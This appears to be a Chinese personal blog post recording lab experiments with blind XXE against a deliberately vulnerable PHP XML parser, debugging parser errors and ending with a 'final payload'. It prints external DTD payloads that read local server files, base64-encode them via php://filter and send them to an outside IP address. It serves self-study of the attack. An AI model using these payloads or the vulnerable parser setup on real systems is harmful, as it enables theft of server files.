文章阅读: https://xz.aliyun.com/t/2249
苦行僧一般的修炼…
实验
服务器ubuntu xml.php:1
2
3
4
5
6
7
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
其中:
LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
坑… 踩了一个又一个233333…
我之前的某个疑惑 :
思考:为什么非要从服务器读取evil.dtd呢?直接在下面调用不可以吗?
1 |
|
报错:PEReferences(Parameter-entity) forbidden in internal subset in Entity
原因:In the internal subset of DTD, references to parameter entities are not allowed within markup declarations. You have to use an external DTD规则 也就是说在DTD内部子集中,参数实体的引用不允许在标记声明里。在外部DTD中,是可以的
又…某个神奇的报错:1
2
3evil.dtd:
<!ENTITY % file SYSTEM "file:///var/www/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://123.207.153.65?p=%file;'>">
DOMDocument::loadXML(): Entity Value: ‘%’ forbidden except for entities
原因:报错已经说的很清楚了,%不允许出现在Entity的value中. 所以需要将%进行Unicode编码为%
(在xml中Unicode编码与字符本身是一样的),
继续思考…继续踩…
思考:为什么不可以直接定义呢?1
2evil.dtd:
<!ENTITY % send SYSTEM 'http://123.207.153.65?p=%file;'>
报错:发现直接声明参数实体send然后引用%send; , 结果就是%file;没有被解析
原因:所以需要在外面包一个参数实体int的声明,%int;
引用的时候%file;会被成功解析,然后在%send;就可以成功的将解析%file;
的内容传出。所以%int
只是辅助的作用,用于辅助解释send实体内容。
continue
经过大概一天的时间,终于知道问题所在,感谢🙏师父,不然我真是要睡的不明不白了23333…
下面的payload1
2
3
4
5
6
7
8
9
evil.txt
<!ENTITY % file SYSTEM "file://etc/var/secret">
<!ENTITY % int "<!ENTITY % send SYSTEM "http://45.76.x.x/:9999?p=%file;">">
为什么会出现loadXML(): Invalid URI: http://x.x.x.x:9999/?p=iitestjfkljal in Entity,
这种报错呢?
诚如报错信息本身,是无效的URL,我也考虑再三,可是怎么看都没有问题,没有:也没有加xml中的特殊字符,但是关于字符,有可见字符,也有不可见字符,所以这种情况,需要十六进制(xxd或者hexdump -C)显示一下是否有系统自己添加的特殊字符,就像echo "m3lon" > secret
echo命令本身就是回车显示,所以看似没有问题的URL,其实有一个小小的回车(0a)存在。1
2
3ubuntu@VM-12-40-ubuntu:~$ hexdump -C /var/www/secret
00000000 6d 33 6c 6f 6e 0a |m3lon.|
00000006
所以最优的方法就是改为下面利用php://filter流1
2
3evil.txt
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file://etc/var/secret">
<!ENTITY % int "<!ENTITY % send SYSTEM "http://45.76.x.x/:9999?p=%file;">">
ps:网络上的payload稂莠不齐,经过我这番踩坑,对于以后的各种报错,大致知道是什么问题了
终极payload奉上:1
2
3
4
5
6
7
8
evil.txt
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/secret">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://x.x.x.x:9999/?p=%file;'>">
参考: